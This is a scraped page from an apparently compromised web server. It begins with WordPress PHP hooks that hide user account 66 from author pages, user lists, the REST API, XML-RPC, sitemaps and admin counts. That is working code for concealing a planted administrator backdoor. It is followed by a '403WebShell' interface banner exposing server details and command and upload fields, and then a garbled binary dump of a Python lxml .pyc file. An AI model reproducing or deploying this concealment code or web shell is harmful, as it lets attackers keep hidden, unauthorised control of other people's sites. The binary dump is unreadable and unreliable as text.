add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/lxml/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/lxml/__pycache__/sax.cpython-312.pyc
�

�fW$���dZddlmZddlmZddlmZmZddlmZm	Z	Gd�dej�Zd�ZGd	�d
e�Z
Gd�d�Zd
�Zy)a?
SAX-based adapter to copy trees from/to the Python standard library.

Use the `ElementTreeContentHandler` class to build an ElementTree from
SAX events.

Use the `ElementTreeProducer` class or the `saxify()` function to fire
the SAX events of an ElementTree against a SAX ContentHandler.

See https://lxml.de/sax.html
�)�ContentHandler)�etree)�ElementTree�
SubElement)�Comment�ProcessingInstructionc��eZdZdZy)�SaxErrorzGeneral SAX error.
    N)�__name__�
__module__�__qualname__�__doc__���*/usr/lib/python3/dist-packages/lxml/sax.pyr
r
s��rr
c�V�|ddk(rt|ddjdd��Sd|fS)Nr�{��})�tuple�split)�tags r�	_getNsTagrs3��
�1�v��}��S���W�]�]�3��*�+�+��S�y�rc��eZdZdZdd�Zd�Zeeej��Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
dd�Zd
�Zd�Zdd�Zd�Zd�ZeZy)�ElementTreeContentHandlerz/Build an lxml ElementTree from SAX events.
    Nc��tj|�d|_g|_g|_d|_ddgi|_i|_|�tj}||_
y�N)r�__init__�_root�_root_siblings�_element_stack�_default_ns�_ns_mapping�
_new_mappingsr�Element�_makeelement)�self�makeelements  rrz"ElementTreeContentHandler.__init__%s]������%���
� ��� ������!�T�F�,���������-�-�K�'��rc�,�t|j�S)z=Contains the generated ElementTree after parsing is finished.)rr�r's r�
_get_etreez$ElementTreeContentHandler._get_etree1s���4�:�:�&�&r)�docc��yrr)r'�locators  r�setDocumentLocatorz,ElementTreeContentHandler.setDocumentLocator7���rc��yrrr*s r�
startDocumentz'ElementTreeContentHandler.startDocument:r0rc��yrrr*s r�endDocumentz%ElementTreeContentHandler.endDocument=r0rc��||j|<	|j|j|�|�||_yy#t$r|g|j|<Y�&wxYwr)r$r#�append�KeyErrorr")r'�prefix�uris   r�startPrefixMappingz,ElementTreeContentHandler.startPrefixMapping@sg��%(����6�"�	-����V�$�+�+�C�0��>�"�D�����	-�(+�u�D���V�$�	-�s�:�A�Ac�\�|j|}|j�|�|d|_yy�N���)r#�popr")r'r8�ns_uri_lists   r�endPrefixMappingz*ElementTreeContentHandler.endPrefixMappingIs2���&�&�v�.�������>�*�2��D��rc�f�|\}}|rd|z}|S|jrd|j�d|��}|S|}|S)N�{%s}%srr)r")r'�
ns_name_tuple�ns_uri�
local_name�el_tags     r�	_buildTagz#ElementTreeContentHandler._buildTagOsN��*���
���
�-�F�
�
�	�
�
�!%�!1�!1�:�>�F��
� �F��
rc�l�|j|�}|r3i}	|j�}|D]\}}|drd|z}	n|d}	|||	<�nd}|j}
|j
�n|j
|||j�x}|_|jr.t|d�r"|jD]}|j|��|jdd�=nt|
d|||j�}|
j|�|jj�y#t$r|j�}Y��wxYw)NrrBr�addpreviousr=)rG�	iteritems�AttributeError�itemsr!rr&r$r �hasattrrIrr6�clear)
r'�ns_name�qname�
attributes�el_name�attrs�iter_attributes�
name_tuple�value�	attr_name�
element_stack�element�siblings
             r�startElementNSz(ElementTreeContentHandler.startElementNSYsE���.�.��)����E�
5�",�"6�"6�"8��&5�
)�!�
�E��a�=� (�:� 5�I� *�1�
�I�#(��i� �
)��E��+�+�
��:�:���'�'����8J�8J�K�
L�G�d�j��"�"�w�w�
�'F�#�2�2�1�G��'�'��0�1��#�#�A�&� ��r�!2�G�!&��(:�(:�<�G����W�%���� � �"��3"�
5�",�"2�"2�"4��
5�s�D�D3�2D3c��t||�}|j�|jj|�y|jdj|�yr<)rrr r6r!)r'�target�data�pis    r�processingInstructionz/ElementTreeContentHandler.processingInstructionzsE��
"�6�4�
0���:�:�����&�&�r�*�����#�*�*�2�.rc��|jj�}|j|�}||jk7rt	d|z��y)NzUnexpected element closed: )r!r>rGrr
)r'rOrPrYrFs     r�endElementNSz&ElementTreeContentHandler.endElementNS�sF���%�%�)�)�+������(���W�[�[� ��8�6�A�B�B�!rc��|r%|j�D��cic]
\}}d|f|��}}}|jd|f||�ycc}}wr)rLr[)r'�namerQ�k�vs     r�startElementz&ElementTreeContentHandler.startElement�sI���3=�3C�3C�3E�F�4�1�a�4��)�Q�,�F�J�F����T�4�L�$�
�;��Gs�>c�,�|jd|f|�yr)rb)r'rds  r�
endElementz$ElementTreeContentHandler.endElement�s�����4��,��-rc��|jd}	|d}|jxsd|z|_y#t$r|jxsd|z|_YywxYw)Nr=�)r!�tail�
IndexError�text)r'r^�last_elements   r�
charactersz$ElementTreeContentHandler.characters�sc���*�*�2�.��	A�'��+�L�!-�!2�!2�!8�b�D� @�L����	A�!-�!2�!2�!8�b�D� @�L��	A�s�/�!A�Ar)rrr
rrr+�propertyrr/r2r4r:r@rGr[r`rbrgrirp�ignorableWhitespacerrrrr"sl���
(�'�
�Z�Z�%7�%7�8�E�
�
�
�#�/��#�B/�C�<�
.�A�%�rrc�(�eZdZdZd�Zd�Zd�Zd�Zy)�ElementTreeProducerz5Produces SAX events for an element and children.
    c��	|j�}||_||_ddlm}||_|ii�|_y#t$r|}Y�7wxYw)Nr)�AttributesNSImpl)�getrootrK�_element�_content_handler�xml.sax.xmlreaderrv�_attr_class�_empty_attributes)r'�element_or_tree�content_handlerrY�
attr_classs     rrzElementTreeProducer.__init__�sV��	&�%�-�-�/�G� ��
� /���D�%���!+�B��!3����
�	&�%�G�	&�s�<�A
�	A
c�|�|jj�|j}t|d�ryg}|j	�}t|dd�tur5|j|�|j	�}t|dd�tur�5|ddd�D]}|j|i��|j|i�t|d�rY|j�}t|dd�tur6|j|i�|j�}t|dd�tur�6|jj�y)N�getpreviousrr=�getnext)ryr2rxrMr��getattrrr6�_recursive_saxifyr�r4)r'rY�siblingsrZs    r�saxifyzElementTreeProducer.saxify�s!�����+�+�-��-�-���7�M�*��H��)�)�+�G��'�5�$�/�3H�H�����(�!�-�-�/���'�5�$�/�3H�H�$�D�b�D�>�
4���&�&�w��3�
4�	
���w��+��7�I�&��o�o�'�G��'�5�$�/�3H�H��&�&�w��3�!�/�/�+���'�5�$�/�3H�H�	
���)�)�+rc�>�|j}|j}|tus|turN|tur&|j	|j
|j�|j}|r|j|�y|j}g}||k7r@|j�D]-\}}	|j|�|	k7s�|j||	f��/|j�}
|
rPi}i}|
D]4\}
}t|
�}|||<|j|d|d|dd��||<�6|j||�}n|j }t|�\}	}|j|	|||j"d��}|D]\}}|j%||��|j'|	|f||�|j}|r|j|�|D]}|j)||��|j+|	|f|�|D]\}}|j-|��|j}|r|j|�yy)NrrT)�preferred_prefix�is_attributeF)r�)ryrrrr`r]rnrlrp�nsmaprL�getr6r�_build_qnamer{r|r8r:r[r�rbr@)r'rY�parent_nsmapr~rrl�
element_nsmap�new_prefixesr8rD�attribs�attr_values�attr_qnames�attr_ns_namerV�
attr_ns_tuple�sax_attributesrErPr9rn�childs                      rr�z%ElementTreeProducer._recursive_saxify�sO���/�/���k�k���'�>�S�$9�9��+�+��5�5��N�N�G�L�L�2��<�<�D���*�*�4�0���
�
�
����L�(�"/�"5�"5�"7�
<�����#�#�F�+�v�5� �'�'�&�&�)9�;�
<��-�-�/����K��K�'.�
>�#��e� )�,� 7�
�-2��M�*�-1�->�->�!�!�$�m�A�&6�
�%)��.?�.>��M�*�
>�"�-�-�k�;�G�N�!�3�3�N�&�s�^���
��!�!��J�
�w�~�~�E�"�S��(�	<�K�F�C��.�.�v�s�;�	<��&�&�
�Z� �%��	9��|�|����&�&�t�,��	9�E��"�"�5�-�8�	9��$�$�f�j�%9�5�A�'�	5�K�F�C��,�,�V�4�	5��|�|����&�&�t�,�rc��|�|S|s|j|�|k(r|}nK|j�D��cgc]\}}|�||k(r|��}	}}t|	�dk(r|	dn|	rt|	�nd}|�|S|dz|zScc}}w)Nrr�:)r�rL�len�min)
r'rDrEr�r�r�r8�pfxr9�
candidatess
          rr�z ElementTreeProducer._build_qname�s����>�����	�	�*:� ;�v� E�%�F�',�k�k�m��"��c��?�s�f�}���J��
"%�Z��A�!5�
�1�
�(2�S��_��
��>�����|�j�(�(��s�A5N)rrr
rrr�r�r�rrrrtrt�s���	4�,�.4-�l)rrtc�6�t||�j�S)zlOne-shot helper to generate SAX events from an XML tree and fire
    them against a SAX ContentHandler.
    )rtr�)r}r~s  rr�r�s�����@�G�G�I�IrN)r�xml.sax.handlerr�lxmlr�
lxml.etreerrrr�	LxmlErrorr
rrrtr�rrr�<module>r�sO��
�+��.�5��u����
�w%��w%�tp)�p)�fJr

Youez - 2016 - github.com/yon3zu
LinuXploit